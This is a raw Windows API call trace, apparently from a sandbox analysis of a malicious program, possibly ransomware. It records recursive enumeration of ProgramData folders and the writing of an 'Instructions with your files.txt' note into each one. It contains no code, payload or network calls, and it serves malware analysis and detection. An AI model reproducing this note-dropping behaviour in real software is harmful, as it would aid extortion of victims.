[0125.231] CloseHandle (hObject=0x118) returned 1
[0125.241] FindClose (in: hFindFile=0x876cf8 | out: hFindFile=0x876cf8) returned 1
[0125.242] GetProcessHeap () returned 0x810000
[0125.242] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x89ac08 | out: hHeap=0x810000) returned 1
[0125.242] FindNextFileW (in: hFindFile=0x876cb8, lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x244fb42, ftCreationTime.dwHighDateTime=0x1cb892c, ftLastAccessTime.dwLowDateTime=0x244fb42, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x244fb42, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Store", cAlternateFileName="")) returned 1
[0125.242] wnsprintfW (in: pszDest=0x889bf8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\Windows Defender\\Scans\\History\\Store") returned 65
[0125.242] GetProcessHeap () returned 0x810000
[0125.242] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x89ac08
[0125.242] wnsprintfW (in: pszDest=0x89ac08, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\Windows Defender\\Scans\\History\\Store\\*") returned 67
[0125.242] FindFirstFileW (in: lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows Defender\\Scans\\History\\Store\\*", lpFindFileData=0x22ce994 | out: lpFindFileData=0x22ce994*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x244fb42, ftCreationTime.dwHighDateTime=0x1cb892c, ftLastAccessTime.dwLowDateTime=0x244fb42, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x244fb42, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876cf8
[0125.243] wnsprintfW (in: pszDest=0x89ac08, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\Windows Defender\\Scans\\History\\Store\\.") returned 67
[0125.243] FindNextFileW (in: hFindFile=0x876cf8, lpFindFileData=0x22ce994 | out: lpFindFileData=0x22ce994*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x244fb42, ftCreationTime.dwHighDateTime=0x1cb892c, ftLastAccessTime.dwLowDateTime=0x244fb42, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x244fb42, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0125.243] wnsprintfW (in: pszDest=0x89ac08, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\Windows Defender\\Scans\\History\\Store\\..") returned 68
[0125.243] FindNextFileW (in: hFindFile=0x876cf8, lpFindFileData=0x22ce994 | out: lpFindFileData=0x22ce994*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x244fb42, ftCreationTime.dwHighDateTime=0x1cb892c, ftLastAccessTime.dwLowDateTime=0x244fb42, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x244fb42, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0
[0125.243] wnsprintfW (in: pszDest=0x89ac08, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\Windows Defender\\Scans\\History\\Store\\Instructions with your files.txt") returned 98
[0125.243] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows Defender\\Scans\\History\\Store\\Instructions with your files.txt" (normalized: "c:\\programdata\\microsoft\\windows defender\\scans\\history\\store\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x118
[0125.318] WriteFile (in: hFile=0x118, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22ce974, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22ce974*=0x54, lpOverlapped=0x0) returned 1
[0125.328] WriteFile (in: hFile=0x118, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22ce974, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22ce974*=0x18, lpOverlapped=0x0) returned 1
[0125.328] WriteFile (in: hFile=0x118, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22ce974, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22ce974*=0xc, lpOverlapped=0x0) returned 1
[0125.329] WriteFile (in: hFile=0x118, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22ce974, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22ce974*=0x16, lpOverlapped=0x0) returned 1
[0125.329] WriteFile (in: hFile=0x118, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22ce974, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22ce974*=0x23, lpOverlapped=0x0) returned 1
[0125.335] CloseHandle (hObject=0x118) returned 1
[0125.338] FindClose (in: hFindFile=0x876cf8 | out: hFindFile=0x876cf8) returned 1
[0125.339] GetProcessHeap () returned 0x810000
[0125.340] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x89ac08 | out: hHeap=0x810000) returned 1
[0125.340] FindNextFileW (in: hFindFile=0x876cb8, lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x244fb42, ftCreationTime.dwHighDateTime=0x1cb892c, ftLastAccessTime.dwLowDateTime=0x244fb42, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x244fb42, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Store", cAlternateFileName="")) returned 0
[0125.344] wnsprintfW (in: pszDest=0x889bf8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\Windows Defender\\Scans\\History\\Instructions with your files.txt") returned 92
[0125.344] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows Defender\\Scans\\History\\Instructions with your files.txt" (normalized: "c:\\programdata\\microsoft\\windows defender\\scans\\history\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114
[0125.526] WriteFile (in: hFile=0x114, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cec04, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cec04*=0x54, lpOverlapped=0x0) returned 1
[0125.675] WriteFile (in: hFile=0x114, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cec04, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cec04*=0x18, lpOverlapped=0x0) returned 1
[0125.675] WriteFile (in: hFile=0x114, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cec04, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cec04*=0xc, lpOverlapped=0x0) returned 1
[0125.675] WriteFile (in: hFile=0x114, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cec04, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cec04*=0x16, lpOverlapped=0x0) returned 1
[0125.675] WriteFile (in: hFile=0x114, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cec04, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cec04*=0x23, lpOverlapped=0x0) returned 1
[0125.675] CloseHandle (hObject=0x114) returned 1
[0125.675] FindClose (in: hFindFile=0x876cb8 | out: hFindFile=0x876cb8) returned 1
[0125.675] GetProcessHeap () returned 0x810000
[0125.675] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x889bf8 | out: hHeap=0x810000) returned 1
[0125.675] FindNextFileW (in: hFindFile=0x876c78, lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7690f9e4, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x244fb42, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x244fb42, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="History", cAlternateFileName="")) returned 0
[0125.676] wnsprintfW (in: pszDest=0x878be8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\Windows Defender\\Scans\\Instructions with your files.txt") returned 84
[0125.676] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows Defender\\Scans\\Instructions with your files.txt" (normalized: "c:\\programdata\\microsoft\\windows defender\\scans\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x110
[0125.703] WriteFile (in: hFile=0x110, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cee94, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cee94*=0x54, lpOverlapped=0x0) returned 1
[0125.710] WriteFile (in: hFile=0x110, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cee94, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cee94*=0x18, lpOverlapped=0x0) returned 1
[0125.713] WriteFile (in: hFile=0x110, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cee94, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cee94*=0xc, lpOverlapped=0x0) returned 1
[0125.713] WriteFile (in: hFile=0x110, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cee94, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cee94*=0x16, lpOverlapped=0x0) returned 1
[0125.715] WriteFile (in: hFile=0x110, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cee94, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cee94*=0x23, lpOverlapped=0x0) returned 1
[0125.715] CloseHandle (hObject=0x110) returned 1
[0125.715] FindClose (in: hFindFile=0x876c78 | out: hFindFile=0x876c78) returned 1
[0125.716] GetProcessHeap () returned 0x810000
[0125.716] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x878be8 | out: hHeap=0x810000) returned 1
[0125.716] FindNextFileW (in: hFindFile=0x876c38, lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x76792c22, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x76792c22, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Support", cAlternateFileName="")) returned 1
[0125.716] wnsprintfW (in: pszDest=0x866bd8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\Windows Defender\\Support") returned 53
[0125.716] GetProcessHeap () returned 0x810000
[0125.716] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x878be8
[0125.716] wnsprintfW (in: pszDest=0x878be8, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\Windows Defender\\Support\\*") returned 55
[0125.716] FindFirstFileW (in: lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows Defender\\Support\\*", lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x76792c22, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x76792c22, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876c78
[0125.716] wnsprintfW (in: pszDest=0x878be8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\Windows Defender\\Support\\.") returned 55
[0125.716] FindNextFileW (in: hFindFile=0x876c78, lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x76792c22, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x76792c22, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0125.716] wnsprintfW (in: pszDest=0x878be8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\Windows Defender\\Support\\..") returned 56
[0125.716] FindNextFileW (in: hFindFile=0x876c78, lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x76792c22, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x76792c22, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x9cb42550, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x31196, dwReserved0=0x0, dwReserved1=0x0, cFileName="MPLog-07132009-221054.log", cAlternateFileName="MPLOG-~1.LOG")) returned 1
[0125.716] wnsprintfW (in: pszDest=0x878be8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\Windows Defender\\Support\\MPLog-07132009-221054.log") returned 79
[0125.716] StrStrIW (lpFirst="MPLog-07132009-221054.log", lpSrch="SDfghjkl") returned 0x0
[0125.716] FindNextFileW (in: hFindFile=0x876c78, lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x76792c22, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x76792c22, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x9cb42550, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x31196, dwReserved0=0x0, dwReserved1=0x0, cFileName="MPLog-07132009-221054.log", cAlternateFileName="MPLOG-~1.LOG")) returned 0
[0125.716] wnsprintfW (in: pszDest=0x878be8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\Windows Defender\\Support\\Instructions with your files.txt") returned 86
[0125.716] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows Defender\\Support\\Instructions with your files.txt" (normalized: "c:\\programdata\\microsoft\\windows defender\\support\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x110
[0125.723] WriteFile (in: hFile=0x110, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cee94, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cee94*=0x54, lpOverlapped=0x0) returned 1
[0125.724] WriteFile (in: hFile=0x110, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cee94, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cee94*=0x18, lpOverlapped=0x0) returned 1
[0125.724] WriteFile (in: hFile=0x110, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cee94, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cee94*=0xc, lpOverlapped=0x0) returned 1
[0125.724] WriteFile (in: hFile=0x110, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cee94, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cee94*=0x16, lpOverlapped=0x0) returned 1
[0125.724] WriteFile (in: hFile=0x110, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cee94, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cee94*=0x23, lpOverlapped=0x0) returned 1
[0125.724] CloseHandle (hObject=0x110) returned 1
[0125.725] FindClose (in: hFindFile=0x876c78 | out: hFindFile=0x876c78) returned 1
[0125.725] GetProcessHeap () returned 0x810000
[0125.725] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x878be8 | out: hHeap=0x810000) returned 1
[0125.725] FindNextFileW (in: hFindFile=0x876c38, lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x76792c22, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x76792c22, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Support", cAlternateFileName="")) returned 0
[0125.725] wnsprintfW (in: pszDest=0x866bd8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\Windows Defender\\Instructions with your files.txt") returned 78
[0125.725] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows Defender\\Instructions with your files.txt" (normalized: "c:\\programdata\\microsoft\\windows defender\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c
[0125.725] WriteFile (in: hFile=0x10c, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cf124, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cf124*=0x54, lpOverlapped=0x0) returned 1
[0125.726] WriteFile (in: hFile=0x10c, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cf124, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cf124*=0x18, lpOverlapped=0x0) returned 1
[0125.726] WriteFile (in: hFile=0x10c, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cf124, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cf124*=0xc, lpOverlapped=0x0) returned 1
[0125.726] WriteFile (in: hFile=0x10c, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cf124, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cf124*=0x16, lpOverlapped=0x0) returned 1
[0125.726] WriteFile (in: hFile=0x10c, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cf124, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cf124*=0x23, lpOverlapped=0x0) returned 1
[0125.726] CloseHandle (hObject=0x10c) returned 1
[0125.726] FindClose (in: hFindFile=0x876c38 | out: hFindFile=0x876c38) returned 1
[0125.727] GetProcessHeap () returned 0x810000
[0125.727] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x866bd8 | out: hHeap=0x810000) returned 1
[0125.727] FindNextFileW (in: hFindFile=0x876bf8, lpFindFileData=0x22cf3d4 | out: lpFindFileData=0x22cf3d4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7fffaad0, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7fffaad0, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows NT", cAlternateFileName="WINDOW~2")) returned 1
[0125.727] wnsprintfW (in: pszDest=0x855bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\Windows NT") returned 39
[0125.727] GetProcessHeap () returned 0x810000
[0125.727] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x866bd8
[0125.727] wnsprintfW (in: pszDest=0x866bd8, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\Windows NT\\*") returned 41
[0125.727] FindFirstFileW (in: lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows NT\\*", lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7fffaad0, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7fffaad0, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876c38
[0125.727] wnsprintfW (in: pszDest=0x866bd8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\Windows NT\\.") returned 41
[0125.727] FindNextFileW (in: hFindFile=0x876c38, lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7fffaad0, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7fffaad0, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0125.727] wnsprintfW (in: pszDest=0x866bd8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\Windows NT\\..") returned 42
[0125.727] FindNextFileW (in: hFindFile=0x876c38, lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1d91b669, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1d91b669, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSFax", cAlternateFileName="")) returned 1
[0125.727] wnsprintfW (in: pszDest=0x866bd8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\Windows NT\\MSFax") returned 45
[0125.727] GetProcessHeap () returned 0x810000
[0125.727] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x878be8
[0125.727] wnsprintfW (in: pszDest=0x878be8, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\Windows NT\\MSFax\\*") returned 47
[0125.727] FindFirstFileW (in: lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows NT\\MSFax\\*", lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1d91b669, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1d91b669, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876c78
[0125.733] wnsprintfW (in: pszDest=0x878be8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\Windows NT\\MSFax\\.") returned 47
[0125.733] FindNextFileW (in: hFindFile=0x876c78, lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1d91b669, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1d91b669, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0125.733] wnsprintfW (in: pszDest=0x878be8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\Windows NT\\MSFax\\..") returned 48
[0125.733] FindNextFileW (in: hFindFile=0x876c78, lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7fffaad0, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7fffaad0, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ActivityLog", cAlternateFileName="ACTIVI~1")) returned 1
[0125.733] wnsprintfW (in: pszDest=0x878be8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\Windows NT\\MSFax\\ActivityLog") returned 57
[0125.733] GetProcessHeap () returned 0x810000
[0125.733] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x889bf8
[0125.733] wnsprintfW (in: pszDest=0x889bf8, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\Windows NT\\MSFax\\ActivityLog\\*") returned 59
